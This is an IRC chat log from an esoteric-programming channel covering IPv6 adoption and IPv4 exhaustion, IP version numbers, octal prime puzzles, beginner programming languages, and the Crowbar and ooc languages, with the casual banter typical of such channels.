05:12:26 <elliott> A few years ago I thought IPv6 supporters were a bit silly... it's hard to see depletion coming when you're so close to it or something.
05:13:01 * elliott loads kame.net, notes lack of dancing.
05:13:14 <elliott> "If you migrate to IPv6 HTTP, you'll be able to view the NON-MOSAIC DANCING KAME!"
05:13:15 * pikhq loads kame.net, notes the dancing
05:13:27 <elliott> pikhq: You're cheating, with a tunnel.
05:13:40 <pikhq> elliott: It's the closest I can get with US ISPs.
05:13:42 <Ilari> Or if IPv6 migration comitees would have started as early as Telestra's Y2K comitee...
05:13:48 <elliott> I could go to http://tunnelbroker.net/ right now and get me a nice IPv6 tunnel. But will I? No.
05:13:52 <variable> I still build applications (like curl) with IPv6 off :-)
05:13:55 <elliott> Instead I'll switch to http://www.bogons.net/. Native IPv6! :p
05:14:04 <pikhq> Well, if we went to Comcrap, I could at least get IPv6...
05:14:05 <elliott> OK, so they might actually just do IPv6 with a tunnel.
05:14:17 <elliott> Because NOBODY in the UK has the infrastructure for IPv6.
05:14:33 <elliott> Hmm.
05:14:34 <elliott> http://www.bogons.net/network.shtml
05:14:43 <elliott> Someone more knowledgeable than me tell me what that implies about Bogons. :p
05:14:52 <elliott> "Our network is fully multicast and IPv6 enabled, ensuring that we stay at the fore-front of Internet Protocol futures.
05:14:53 <elliott> "
05:14:56 <elliott> I guess it might be native then.
05:14:57 <elliott> *futures."
05:16:34 <elliott> Bogons' prices aren't so nice though... their normal ADSL is cheap enough, and although their cheapest 20Mbps download plan is the same monthly price, it comes with a 200 gig usage limit (it's business service)...
05:16:41 <elliott> Although that's LLU, so I don't even know if it's available here.
05:16:48 <Ilari> "IPv7" is TP/IX.
05:17:26 <elliott> BE is a lot cheaper, but don't offer IPv6 afaik.
05:17:50 <elliott> In August 2009 the UK ISP Andrews & Arnold entered into an agreement to use BE's core and LLU networks to augment BT's legacy 20CN and 21CN infrastructure.[8]
05:17:57 <elliott> I love how 21CN = 21st Century Network is OBSOLETE BY DESIGN.
05:18:20 <elliott> Started off 2005, 2006... BT hopes to transfer 50% of customers by 2008, AND
05:18:24 <elliott> NO SUPPORT FOR IPV6 WHATSOEVER.
05:18:29 <elliott> *Obsolete by design.*
05:18:32 <elliott> Ilari will now facepalm.
05:18:52 <elliott> Sorry: Approved in 2003.
05:18:58 <pikhq> Going to be fun watching them scramble.
05:19:14 <elliott> pikhq: Yeah... that's why "In August 2009 the UK ISP Andrews & Arnold entered into an agreement to use BE's core and LLU networks to augment BT's legacy 20CN and 21CN infrastructure.[8]"
05:19:17 <Ilari> IP version IDs 5, 7, 8 and 9 would likely be good candidates to recycle the identifiers (should more of those be needed)...
05:19:20 <elliott> Local loop unbundling is VERY common in the UK.
05:19:25 <elliott> See WP's LLU page for stats.
05:19:39 <elliott> Ilari: how many valid versions are there?
05:20:10 <Ilari> AFAIK, only 2 have been seen in the wild (4 and 6)...
05:20:27 <Ilari> And the field is 4 bits (16 values)
05:20:47 <Ilari> Total allocations: 6
05:21:13 <pikhq> Ilari: What, exactly, are 7, 8, and 9 used for?
05:21:57 <Ilari> Those _were_ used for prototyping other IPng candidates.
05:22:17 <elliott> the one that used 6 was destined to win :D
05:22:18 <elliott> bye
05:22:19 -!- elliott has quit (Quit: Leaving).
05:22:47 <pikhq> Huh. 2 and 3 are unassigned.
05:22:59 * pikhq found the registry.
05:23:59 <pikhq> Yeah, seems to me that 7-9 should be recycled.
05:24:38 <pikhq> The other IPng candidates suck.
05:31:46 <Ilari> Is that IPv7 stuff from Markov generator or ramblings of some crackpot?
05:35:42 -!- pikhq has quit (Ping timeout: 240 seconds).
05:35:57 -!- pikhq has joined.
05:38:25 * pikhq doesn't understand people some times
05:45:21 -!- pikhq has quit (Ping timeout: 240 seconds).
05:45:28 -!- pikhq has joined.
05:46:54 -!- oerjan has joined.
05:49:55 <oerjan> pikhq: Det er jo et helt vanlig problem.
05:51:47 <pikhq> oerjan: I don't understand that nonsense.
05:52:01 * oerjan whistles innocently.
05:52:03 <pikhq> I will instead respond by noting that beer is delicious.
05:52:28 -!- taotree has joined.
05:52:30 <oerjan> Indeed!
05:53:42 -!- Tabarnaco has left (?).
05:55:37 * Lymia pokes Gregor
05:55:52 <Lymia> How is (a{b}c{d}e)*3 treated in BF Joust
05:55:55 <Lymia> aaabcccdeee?
05:56:37 <oerjan> i don't think that's technically legal syntax
06:33:00 -!- hagb4rd has joined.
06:33:14 <hagb4rd> morgen!
06:33:58 <oerjan> morn!
06:40:47 <Sgeo> That music that I thought came from Hikaru no Go and that I thought I misremembered as being from elsewhere --- I just remember where I originally heard it, it is a distinct song
06:41:04 <Sgeo> ^^may not be correctly parsable
06:41:38 <Sgeo> Am I turning into zzo38?
06:41:42 -!- maximum_yellow has quit (Ping timeout: 264 seconds).
06:43:05 * oerjan parses it just fine
06:44:05 -!- Zuu_ has joined.
06:44:27 -!- Zuu has quit (Read error: Connection reset by peer).
06:44:39 -!- oerjan has quit (Quit: Reboot).
06:48:04 -!- oerjan has joined.
06:56:14 -!- Lymia_ has joined.
06:59:15 -!- Lymia has quit (Ping timeout: 240 seconds).
07:07:54 <oerjan> hmph checking on the command line, 56657856797822194249 is apparently too large for the factor program.
07:08:14 <oerjan> ...but i just need to check for primeness :(
07:09:40 <oerjan> ...that online prime checker cuts off the number during input...
07:10:51 -!- hagb4rd has quit (Ping timeout: 240 seconds).
07:11:00 <oerjan> thank you, wolfram alpha :)
07:14:14 <oerjan> and it _was_ prime, only two candidate lines left...
07:14:40 <oerjan> hm winghci conveniently keeps history from last session
07:21:04 -!- asiekierka has joined.
07:23:22 -!- Lymia_ has changed nick to Lymia.
07:23:23 -!- Lymia has quit (Changing host).
07:23:23 -!- Lymia has joined.
07:54:01 -!- TLUL has changed nick to TLUL|afk.
07:56:09 <oerjan> oh wtf i _missed_ 111 as an octal prime...
07:56:31 <oerjan> that's going to simplify a bit
07:58:57 <oerjan> Ilari: sheesh half my list for base 8 disappeared because i'd missed that... :D
07:59:25 <Lymia> oerjan, what are you looking for?
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:34 <oerjan> the set of primes in octal which have no other prime as a non-consecutive substring
08:03:48 -!- hagb4rd has joined.
08:04:18 <oerjan> Ilari: ok what i have now, modulo remaining errors: base 8: 2, 3, 5, 7, 111 (73), 141 (97), 161 (113), 401 (257), 661 (433), 4611 (2441), 6101 (3137), 6441 (3361), 60411 (24841), 444641 (149921), 444444441 (76695841), possibly some 8^(4k)+1 (k > 100).
08:05:14 <oerjan> er,
08:05:24 <oerjan> *er, *k > 25
08:07:54 -!- hiato has joined.
08:08:43 <oerjan> hm wolfram alpha says sum(1/log(8^(4k)+1)) diverges. i _think_ that means by the prime number theorem such a prime is likely to exist.
08:09:25 <oerjan> oh wait.
08:11:07 -!- hiato has quit (Client Quit).
08:11:17 -!- hiato has joined.
08:11:39 <oerjan> it _doesn't_ exist, by what http://en.wikipedia.org/wiki/Fermat_number says.
08:11:56 <oerjan> (it's 2^(12k)+1), and 12k is not a power of 2.)
08:18:43 <oerjan> that fact + the missing 111 means i didn't need most of the huge numbers i checked...
08:21:03 -!- hiato has changed nick to maximum_yellow.
08:25:00 -!- iamcal has joined.
08:27:16 -!- cal153 has quit (Ping timeout: 250 seconds).
08:29:07 -!- hagb4rd has quit (Ping timeout: 240 seconds).
08:37:29 -!- hagb4rd has joined.
08:50:54 -!- Lymia_ has joined.
08:51:28 -!- Lymia has quit (Disconnected by services).
08:51:29 -!- Lymia_ has changed nick to Lymia.
08:51:30 -!- Lymia has quit (Changing host).
08:51:30 -!- Lymia has joined.
09:15:11 -!- hagb4rd has quit (Ping timeout: 240 seconds).
09:19:50 -!- kar8nga has joined.
09:32:39 -!- MigoMipo has joined.
09:39:00 -!- FireFly has joined.
10:22:57 -!- hagb4rd has joined.
10:30:03 -!- FireFly has quit (Quit: swatted to death).
10:41:03 -!- hagb4rd has quit (Ping timeout: 240 seconds).
10:43:18 <Ilari> Latest unallocated file has 441 663 944 IPv4 addresses free. 381 895 112 after substracting reserved space.
10:47:25 <Ilari> APNIC latest data has 3.13 blocks (unallocated file says 54 807 808, which is 3.27 blocks)
10:50:03 <Ilari> APNIC extended stats file says 69 149 184 (52 371 968, 3.122 blocks after substracting reserved space).
10:50:04 -!- hagb4rd has joined.
10:51:57 <Ilari> Haha... This IPv4 exhaustion widget is clearly confused. Giving X-day (first RIR depletion now) in 2022...
10:53:47 -!- azaq23 has quit (Quit: Leaving.).
10:57:29 <Ilari> APNIC available blocks in extended file: 900x/24, 179x/23, 190x/22, 194x/21, 129x/20, 107x/19, 57x/18, 41x/17, 13x/16, 12x/15, 13x/14, 6x/13, 5x/12 and 3x/8.
11:00:32 <Ilari> The 3x/8 are the newly allocated blocks. Other than that, they had fragmented the space down to at most 1Mi address blocks...
11:04:44 -!- Lymia_ has joined.
11:07:39 -!- Cheery has joined.
11:07:55 -!- Lymia has quit (Ping timeout: 240 seconds).
11:19:01 -!- maximum_yellow has quit (Ping timeout: 272 seconds).
11:19:31 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:20:21 -!- cheater00 has joined.
11:20:24 -!- maximum_yellow has joined.
11:20:43 -!- hagb4rd has quit (Ping timeout: 240 seconds).
11:33:10 -!- Zuu_ has changed nick to Zuu.
11:46:12 -!- Cheery has quit (Quit: Lost terminal).
11:53:26 -!- hagb4rd has joined.
11:57:38 -!- TLUL|afk has quit (Ping timeout: 245 seconds).
12:03:44 <Ilari> Hmm... What about splitting Keränen sequence so kth word is k symbols long...
12:05:06 <Ilari> That sequence has base of 'abcacdcbcdcadcdbdabacabadbabcbdbcbacbcdcacbabdabacadcbcdcacdbcbacbcdcacdcbdcdadbdcbca' under Z_4 mapped by 0 <-> a, 1 <-> b, 2 <-> c, 3 <-> d.
12:07:08 <Ilari> Which gives a, bc, acd, cbcd, cadcd, bdabac, abadbab, cbdbcba, cbcdcacb, abdabacad, cbcdcacdbc, bacbcdcacdc, bdcdadbdcbca, bcdbdadcdadba, ...
12:08:30 <Ilari> Those 13 first terms yield substrings: 'a' and 'bc'
12:11:52 <Ilari> And that's all, since no minimal substrings of length 5 or greater can exist.
12:13:11 <oerjan> <Ilari> For base 9: "2, 3, 5, 7, 14, 18, 41, 81, 601, 661, 1011, 1101, ...
12:13:39 <oerjan> darn there doesn't seem to be _any_ of length 5 or 6, making it blow up a lot
12:14:35 <oerjan> and it started so nicely by getting rid of the 4's and 8's
12:15:33 <Ilari> Far more difficult question: For set of strings over k symbols, what is the maximum size of minimal subset of substrings? Is it finite? Or is it unbounded? Finite for small bases but unbounded for large?
12:16:14 <oerjan> huh i'd been assuming it was infinite
12:16:21 <oerjan> but when you mention it...
12:16:30 <Ilari> Yeah, probably infinite.
12:16:36 <Ilari> (unbounded that is)
12:17:45 <Ilari> Actually, it is unbounded in any base: Consider the set that contains all binary strings at least k bits long. The size of set is 2^k which is unbounded as k increases.
12:18:00 <oerjan> ...of course it is. just take _all_ strings of length n for any base. this ... right
12:18:47 <Ilari> With 1 symbol, the size of minimal substring subset is always 0 (empty set) or 1 (for any non-empty set).
12:19:02 <Ilari> 2 or more symbols, it is unbounded.
12:24:44 <Vorpal> <Phantom_Hoover> AnMaster, Gregor, aloril, are we some kind of international conspiracy now? <-- what were you two doing over there.
12:44:54 -!- NiFkE has joined.
12:47:26 <hagb4rd> hello NiFkE.. feel comfortable not to fear to ask yoûr unholy questions on that dark matter
12:47:51 <hagb4rd> here
12:48:03 -!- rendy has joined.
12:48:19 -!- nddrylliog has joined.
12:48:46 <NiFkE> about the tool or about parsing? :p
12:49:25 <rendy> jhfdhjhjhf
12:50:13 <hagb4rd> ask, they'll soon make you whish not to been thrown into this hell ;)
12:50:37 * hagb4rd needs to do some shopping now
12:50:40 <hagb4rd> cu later
12:50:50 -!- hagb4rd has changed nick to hagb4rd|afk.
12:50:52 -!- nddrylliog has quit (Client Quit).
12:50:53 <rendy> :@
12:51:05 -!- nddrylliog1 has joined.
12:51:08 <NiFkE> [13:41] <NiFkE> does anyknow know a tool that could do this: let's say I have 2GB of memory. I open the tool and tell it: "hey, make sure my ram never drops below 1.66GB."
12:51:08 <NiFkE> [13:41] <NiFkE> so filling my ram with dummy shit
12:51:08 <NiFkE> [13:42] <NiFkE> memtest86 3.0 or 2.0 had this but I'm not sure
12:51:12 <NiFkE> [13:42] <NiFkE> because I need to simulate something which only occurs between ram usage x and y.
12:51:43 -!- nddrylliog1 has changed nick to nddrylliog.
12:53:11 -!- rendy has left (?).
13:05:41 -!- NiFkE has left (?).
13:26:16 -!- sftp has quit (Remote host closed the connection).
13:28:30 -!- sftp has joined.
13:46:59 -!- Phantom_Hoover has joined.
13:47:00 -!- Phantom_Hoover has quit (Client Quit).
13:47:21 -!- Phantom_Hoover has joined.
14:15:11 -!- impomatic has joined.
14:15:13 <impomatic> Hi :-)
14:15:53 <nddrylliog> ohai
14:29:33 -!- hagb4rd|afk has quit (Ping timeout: 272 seconds).
14:34:42 <Phantom_Hoover> There exist people who think C is a good first language.
14:34:44 <Phantom_Hoover> I despair.
14:36:02 <Vorpal> Phantom_Hoover, depends on your goal. Good first language for the lower layers of an OS perhaps? Though I would suspect it should be asm instead.
14:36:11 <Vorpal> but *not* for learning
14:36:21 <Phantom_Hoover> That's what I meant.
14:43:07 <Vorpal> Phantom_Hoover, this versioning scheme was insane: http://df.magmawiki.com/index.php/40d:Version_number
14:43:13 <Vorpal> good thing it changed
14:46:42 <impomatic> So what is a good first language? BASIC, Pascal, Logo?
14:46:58 <Vorpal> impomatic, scheme maybe
14:47:29 <nddrylliog> Underload
14:47:45 -!- oerjan has quit (Quit: VERY GOOD).
14:48:03 <Vorpal> nddrylliog, what was the one elliott mentioned... OCC?
14:48:21 <nddrylliog> Vorpal: is that a troll attempt?
14:48:23 <Vorpal> haven't looked at it
14:48:27 <Vorpal> nddrylliog, no idea :)
14:48:34 <impomatic> Don't let newbie programmers near Underload.
14:48:46 <nddrylliog> hey, Underload is a very nice first language
14:48:48 <Vorpal> anyway scheme is a good early and/or first language
14:48:49 <nddrylliog> or maybe Befunge
14:48:57 <Vorpal> nddrylliog, yes in esolangs
14:49:02 <nddrylliog> hell, I'll teach Befunge to my children as soon as they can hold a pencil
14:49:04 <Vorpal> I think they meant more generally
14:49:12 <nddrylliog> I meant more generally as well
14:49:17 <Vorpal> ouch
14:49:33 <Vorpal> oh right, OOC that was it
14:49:36 <Vorpal> nddrylliog, so what is wrong with that OOC?
14:49:55 <impomatic> I like Underload. I hate the though of newbie programming using it to write ugly newbie code :-P
14:49:56 <nddrylliog> you know we used to have a bot on the channel that screamed "It's "ooc", not "OOC", you dumbnut!"
14:50:11 <Vorpal> nddrylliog, I wasn't aware of the case.
14:50:11 <nddrylliog> if someone does that to #esoteric I will fill his/her house with candy
14:50:29 <impomatic> How about Ruby or Python for a first language?
14:50:38 <Vorpal> nddrylliog, so okay, what is wrong with the ooc language that made you talk about trolling?
14:51:01 <Vorpal> nddrylliog, also I don't really care about case on irc. after all you don't start your sentences with upper case letter either
14:51:29 <Vorpal> impomatic, I feel scheme or similar is a good first one. Python if you *have* to use imperative
14:51:31 <nddrylliog> Vorpal: the compiler could use some love (bug-fixing), some corners of the language I regret ever implementing (double use for 'cover', implicit as, pointers...)
14:51:40 <nddrylliog> Vorpal: also I don't care about case that much except for names
14:53:02 <Vorpal> nddrylliog, anyway such a bot as the one you mentioned have to be very smart since OOC in upper case has other meanings as far as a quick googling suggests
14:54:07 <nddrylliog> I'd suppose that when someone says "OOC" in #ooc-lang it's not that he/she is breaking the rules of role-playing, but rather than he/she is talking about the language.
14:56:22 <Vorpal> nddrylliog, indeed but in here it could be either
14:56:28 <nddrylliog> right
14:56:46 <Vorpal> nddrylliog, is it a pure language?
14:57:17 <nddrylliog> nope
14:57:42 <nddrylliog> in fact, I'm really tired of speaking about it - which I've mentioned multiple times, so I guess the better option is just to try it :)
14:58:20 <Vorpal> nddrylliog, mhm
14:58:33 -!- Lymia__ has joined.
15:01:24 -!- Lymia_ has quit (Ping timeout: 240 seconds).
15:01:42 <nddrylliog> Vorpal: sorry for that
15:13:02 <Vorpal> nddrylliog, for what?
15:13:15 <nddrylliog> Vorpal: for not being really helpful
15:13:20 <Vorpal> ah
15:13:23 <Vorpal> *shurg*
15:13:27 <Vorpal> shrug*
15:13:48 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
15:25:51 <Phantom_Hoover> nddrylliog, can you explain how fe2 is supposed to work?
15:26:25 <nddrylliog> Phantom_Hoover: fe2's dead already, you want to have a look at its successor http://esolangs.org/wiki/Crowbar
15:26:38 <nddrylliog> Phantom_Hoover: pretty poorly explained, but you're an esolanguist, you should be able to make some sense out of it
15:27:58 <Phantom_Hoover> Is it case-sensitive?
15:28:08 <nddrylliog> Phantom_Hoover: yup
15:28:14 <nddrylliog> func != Func
15:28:21 <nddrylliog> Func's the type, func's the keyword to define a function
15:29:51 <Phantom_Hoover> So how does the "rule \A" bit work?
15:31:37 <nddrylliog> ah right I should've added that to the wiki
15:31:38 <nddrylliog> hang on
15:34:00 <nddrylliog> http://esolangs.org/w/index.php?title=Crowbar&diff=20951&oldid=20949
15:34:03 <nddrylliog> Phantom_Hoover: ^ done
15:35:12 -!- pikhq_ has joined.
15:35:17 -!- pikhq has quit (Ping timeout: 255 seconds).
15:43:55 -!- nddrylliog has quit (Ping timeout: 255 seconds).
15:44:20 -!- kar8nga has quit (Remote host closed the connection).
16:12:59 <variable> impomatic --> python for a good first language
16:13:21 <impomatic> :-)
16:15:24 <olsner> after you've reached guido's level you can only go up... yep, a good start
16:16:33 -!- FireFly has joined.
16:17:45 <variable> anyone know a good tutorial for R ?
16:22:56 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
16:23:46 -!- BeholdMyGlory has joined.
16:46:26 -!- MigoMipo has quit (Ping timeout: 255 seconds).
16:56:16 -!- variable has quit (Quit: Daemon escaped from pentagram).
17:03:34 -!- elliott has joined.
17:03:35 <Phantom_Hoover> http://svn.wikimedia.org/viewvc/mediawiki/trunk/phase3/includes/parser/Parser.php?view=markup
17:04:01 <Phantom_Hoover> Is it just me, or is using regexes for parsing such a stupid idea the MW devs ought to be shot?
17:04:31 <elliott> yes
17:04:41 <elliott> most markdown processors are like that too
17:04:57 <Phantom_Hoover> That it is called a parser offends me.
17:05:07 <elliott> Parser-arser.
17:05:15 <elliott> It's a compiler in the yacc tradition, except ad-hoc and with regexps.
17:05:31 <elliott> (i.e., the "traditional" use of yacc puts all the compiling logic in the parser actions)
17:05:36 <elliott> (thus yet another *compiler* compiler)
17:06:34 <elliott> 05:37:35 <Ilari> And the field is 4 bits (16 values)
17:06:34 <elliott> 05:37:55 <Ilari> Total allocations: 6
17:06:35 <elliott> lol
17:06:37 <elliott> allocate a new IPv6 version
17:06:40 <elliott> *IP version
17:06:42 <elliott> WE'RE OUT OF VERSIONS
17:06:44 <elliott> IP VERSION DEPLETION
17:06:55 <elliott> 05:48:55 <Ilari> Is that IPv7 stuff from Markov generator or ramblings of some crackpot?
17:07:08 <elliott> Ilari: Seems like Markov. The IPv8 posts I linked are crackpottery.
17:07:13 <elliott> (Pottery that has been cracked.)
17:07:22 <elliott> Ilari: I think it's one of those fake-scientific-paper generator things' output.
17:07:30 <kfr> Phantom_Hoover: Woah, that's one huge file
17:07:37 <elliott> 06:13:01 <Lymia> How is (a{b}c{d}e)*3 treated in BF Joust
17:07:37 <elliott> 06:13:04 <Lymia> aaabcccdeee?
17:07:40 <elliott> Lymia__: that's not valid
17:07:40 <kfr> What is it with people's hatred against splitting up code
17:07:45 <elliott> one, (a{b}c) forms use %, not *
17:07:48 <Sgeo> Links?
17:07:48 <elliott> two, you can only have one per form
17:08:26 <elliott> 08:25:56 <oerjan> hm wolfram alpha says sum(1/log(8^(4k)+1)) diverges. i _think_ that means by the prime number theorem such a prime is likely to exist.
17:08:34 <elliott> This is the most rigorous anyone has ever done Underload before.
17:08:41 <elliott> 08:26:38 <oerjan> oh wait.
17:08:42 <elliott> 08:28:52 <oerjan> it _doesn't_ exist, by what http://en.wikipedia.org/wiki/Fermat_number says.
17:08:42 <elliott> lawl
17:09:48 <elliott> 13:04:47 <hagb4rd> hello NiFkE.. feel comfortable not to fear to ask yoûr unholy questions on that dark matter
17:09:48 <elliott> 13:05:12 <hagb4rd> here
17:09:48 <elliott> way to give the wrong impression :P
17:10:02 <elliott> 13:08:29 <NiFkE> [13:41] <NiFkE> does anyknow know a tool that could do this: let's say I have 2GB of memory. I open the tool and tell it: "hey, make sure my ram never drops below 1.66GB."
17:10:02 <elliott> 13:08:29 <NiFkE> [13:41] <NiFkE> so filling my ram with dummy shit
17:10:02 <elliott> 13:08:29 <NiFkE> [13:42] <NiFkE> memtest86 3.0 or 2.0 had this but I'm not sure
17:10:02 <elliott> 13:08:34 <NiFkE> [13:42] <NiFkE> because I need to simulate something which only occurs between ram usage x and y.
17:10:05 <elliott> oh god.
17:10:14 <elliott> i wonder if it's the same person's fault
17:10:34 <elliott> 15:05:28 <Vorpal> nddrylliog, what was the one elliott mentioned... OCC?
17:10:34 <elliott> 15:05:46 <nddrylliog> Vorpal: is that a troll attempt?
17:10:34 <elliott> 15:05:48 <Vorpal> haven't looked at it
17:10:34 <elliott> 15:05:53 <Vorpal> nddrylliog, no idea :)
17:10:40 <elliott> oh man, I'm causing people to troll accidentally
17:10:45 <elliott> well
17:10:47 <elliott> maybe accidentally
17:10:49 <elliott> or Vorpal is evil
17:11:55 <elliott> 15:43:51 <nddrylliog> Phantom_Hoover: fe2's dead already, you want to have a look at its successor http://esolangs.org/wiki/Crowbar
17:12:00 <elliott> how did it die so quickly?!
17:12:48 <Phantom_Hoover> I still can't get over the way that MW stores revisions as full page text.
17:13:04 <elliott> git does that
17:13:05 <elliott> and hg :P
17:13:10 <elliott> Nat: cover from Number {
17:13:10 <elliott> rule \A (a: Nat | a >= 0)
17:13:10 <elliott> }
17:13:16 <elliott> nddrylliog: you want that to be "a: Number"
17:13:26 <Phantom_Hoover> elliott, no.
17:13:52 <elliott> Phantom_Hoover: ?
17:13:54 <Phantom_Hoover> Well, I suppose both would work.
17:14:00 <elliott> not really
17:14:03 <elliott> the way it is now is circular
17:14:05 <elliott> which is just weird
17:14:09 <elliott> all nats are >= 0
17:14:15 <elliott> except that it's only because of that rule that it's valid
17:14:18 <elliott> which then makes it a tautology
17:14:22 <elliott> I'd definitely make it "a: Number"
17:14:30 <elliott> 16:30:26 <variable> impomatic --> python for a good first language
17:14:30 <elliott> 16:30:48 <impomatic> :-)
17:14:31 <elliott> 16:32:52 <olsner> after you've reached guido's level you can only go up... yep, a good start
17:14:32 <elliott> olsner++
17:14:52 <Phantom_Hoover> It's universal wossname, so "Number" doesn't make much sense.
17:15:45 <elliott> Phantom_Hoover: "Nat: cover from Number"
17:15:51 <elliott> Number is the type that Nat is covering.
17:15:51 <elliott> Duh.
17:15:57 <Phantom_Hoover> Covering?
17:16:02 <elliott> RTFLanguage
17:16:05 <Phantom_Hoover> And yes, I know that.
17:16:34 <elliott> Number is just integer there I think.
17:16:35 <elliott> So, uh.
17:16:36 <Vorpal> <elliott> oh man, I'm causing people to troll accidentally <-- indeed, you are evil!
17:16:47 <elliott> It should definitely be Number.
17:16:52 <elliott> It's a predicate that tells you whether a Number is a valid Nat.
17:17:07 <Phantom_Hoover> Universal quantification is not the right thing to have, then.
17:17:11 <Vorpal> elliott, btw here is the definition in those text files for a dwarf: http://df.magmawiki.com/index.php/DF2010:Dwarf/raw
17:17:16 <Vorpal> elliott, have fun reading about their nails
17:17:19 <elliott> Phantom_Hoover: Well, possibly.
17:17:30 <Vorpal> elliott, oh and eyelashes!
17:17:36 <Vorpal> don't forget that
17:18:02 -!- locks has joined.
17:18:09 <locks> not long, elliott
17:18:12 -!- locks has left (?).
17:18:20 <Vorpal> what was that
17:18:20 <elliott> :D
17:18:28 <Vorpal> elliott, a bot of yours?
17:18:40 <elliott> nope
17:18:44 <Vorpal> elliott, then what
17:18:56 <elliott> a reaction to me trolling #ooc-lang
17:19:01 <Vorpal> elliott, heh
17:19:10 <Vorpal> elliott, stop doing that. It isn't nice
17:19:26 <elliott> Vorpal: I just said "now that fe2 is dead, how long until ooc dies too?!"
17:19:29 <elliott> and left
17:19:32 <elliott> it's ok, they know to ignore me
17:19:47 <Vorpal> elliott, fe2 being?
17:20:06 <elliott> nddrylliog's lang that is now the significantly less ambitious Crowbar.
17:21:34 <Vorpal> elliott, why is crowbar on the esowiki. It doesn't look very esoteric at all
17:21:53 <elliott> why, because it doesn't have a tarpit's syntax?
17:22:06 <Vorpal> elliott, no, it just seemed too... sane?
17:22:15 <elliott> believe me, it is not sane.
17:22:31 <Vorpal> elliott, how so?
17:22:46 <elliott> rtflogs for fe2 :P
17:23:32 <Vorpal> elliott, when approx in this channel?
17:23:47 <elliott> dunno, days ago? a week maybe?
17:23:55 <Vorpal> ok
17:24:58 <elliott> it was mentioned before it was called fe2 though
17:25:06 <elliott> i'd just grep for <nddyrlliog> or however the fuck you spell it
17:54:00 -!- Lymia__ has changed nick to Lymia.
17:54:01 -!- Lymia has quit (Changing host).
17:54:01 -!- Lymia has joined.
18:10:18 <olsner> elliott: guido-bashing never gets boring :)
18:10:35 <elliott> olsner: i just don't understand reduce, maaaan
18:10:46 <elliott> ugh, ais isn't in here on weekends I just remembered
18:12:17 <elliott> I need to restructure my executable semantics for Underload. yay!
18:12:26 <elliott> which will complicate things a lot
18:12:59 <olsner> elliott: it's a fold
18:13:09 <elliott> olsner: SORRY I'M GUIDO VAN ROSSUM
18:13:09 <olsner> but you never know which one...
18:13:10 <elliott> WHAT IS A FOLD
18:13:12 <elliott> IT SOUNDS LIKE FUNCTIONS
18:13:14 <elliott> I DON'T LIKE FUNCTIONS
18:13:18 <elliott> THEY'RE...FUNCTIONAL
18:13:30 <elliott> I LIKE DOING A, B, AND THEN C, AND THAT'S WHY PYTHON DOESN'T HAVE EXCEPTIONS, IT WOULD BE NON-LINEAR
18:13:33 <elliott> ...OH WAIT
18:13:36 <elliott> PYTHON 4 WILL NOT HAVE EXCEPTIONS
18:13:38 <elliott> ALERT THE PRESSES
18:14:21 <elliott> writing goods specifications is hard
18:15:16 <quintopia> who is guido van rossum
18:15:38 <quintopia> python designer
18:15:40 <quintopia> ??
18:15:54 -!- pikhq_ has changed nick to pikhq.
18:15:59 <Vorpal> quintopia, who else?
18:16:13 <quintopia> i don't python. how would i know?
18:16:24 <Vorpal> quintopia, you don't verb either
18:16:34 <elliott> quintopia: gudio van rossum is ~THE GENIUS GOD OF PROGRAM~
18:16:45 <olsner> you could say he's a man who grew a beard but acquired none of the associated good properties
18:16:51 <quintopia> elliott: oh good. as long as it's not you.
18:17:05 <elliott> he is the recordholder for "master of the greatest number of slaves in a BDSM relationship of all time"
18:17:06 <elliott> basically it's him
18:17:08 <elliott> and every python user
18:17:18 <Vorpal> quintopia, I doubt elliott is a van (nor any other type of car)
18:17:20 <elliott> `addquote <quintopia> who is guido van rossum <olsner> you could say he's a man who grew a beard but acquired none of the associated good properties
18:17:27 <HackEgo> 292) <quintopia> who is guido van rossum <olsner> you could say he's a man who grew a beard but acquired none of the associated good properties
18:26:15 * Gregor strokes his lack of a beard.
18:26:53 <elliott> hmm, writing the executable semantics and then translating them to English seems easier than the other way around
18:27:04 -!- variable has joined.
18:27:07 * quintopia strokes Gregor's non-beard also
18:27:19 <quintopia> why do you shave sir?
18:27:22 <variable> http://pl.atyp.us/wordpress/?p=3184 --> might interest some people here
18:27:40 <Gregor> quintopia: I don't.
18:27:49 <elliott> DHT or bust
18:27:54 <quintopia> wat
18:28:00 <quintopia> you just don't grow beard?
18:28:01 <elliott> quintopia: Gregor is transgender.
18:28:05 * elliott nods sagely
18:28:12 <Gregor> I am not transgender >_<
18:28:16 <Gregor> Just ... transfacialhair.
18:28:18 <quintopia> elliott: transgender men can grow beards
18:28:22 <elliott> Gregor: Sorry, sorry, I won't bring it up in here again.
18:28:28 <elliott> quintopia: HE ISN'T TAKING HORMONES YET
18:28:31 <elliott> now shut up about it
18:28:32 <elliott> he's sensitive
18:28:58 <quintopia> if it were the case, you'd be the one being insensitive by saying "he" so much
18:29:06 <Gregor> quintopia: Being a blond anglo-ashkenazi does not make for much of a beard :P
18:29:13 <quintopia> Gregor: that's pretty lucky, not having to shave, really
18:29:39 <Vorpal> quintopia, what? that's terrible
18:29:45 <Gregor> Well, it's not that I NEVER shave, I shave maybe shave once every two-three weeks.
18:29:48 <Vorpal> by the way I wish my beard was larger
18:29:52 <Gregor> "shave maybe shave" ...
18:30:06 <quintopia> yep
18:30:15 <quintopia> it's how your weeks go
18:30:27 <quintopia> you shave, then maybe think about shaving, and then shave resp. each week
18:30:29 <elliott> quintopia: Err, saying "he" wouldn't be insensitive...
18:30:30 <Vorpal> quintopia, I have to shave twice a week if I wish to not have a beard
18:30:38 <elliott> Saying "EX-SHE" would be :P
18:30:54 <quintopia> oh yeah sorry
18:31:00 <quintopia> i just got up
18:31:15 <quintopia> Vorpal: but of course, you do not wish to not have a beard
18:31:35 <olsner> I'd have to shave twice a day to not have a beard of some kind
18:31:41 <elliott> * hackagebot pandoc 1.8.0.3 - Conversion between markup formats http://hackage.haskell.org/package/pandoc-1.8.0.3 (JohnMacFarlane)
18:31:45 <elliott> heh, time to update pandoc a day after I installed it
18:31:57 <elliott> HEY GUYS I DON'T HAVE A BEARD
18:31:58 <olsner> so I shave as often as Gregor instead
18:32:14 <Vorpal> quintopia, I *do* wish to have a beard
18:32:25 <variable> what exactly does "eventually consistent" re Cassandra ? before it becomes consistent its undefined which value one obtains?
18:32:27 <Phantom_Hoover> elliott, you are PATHETIC
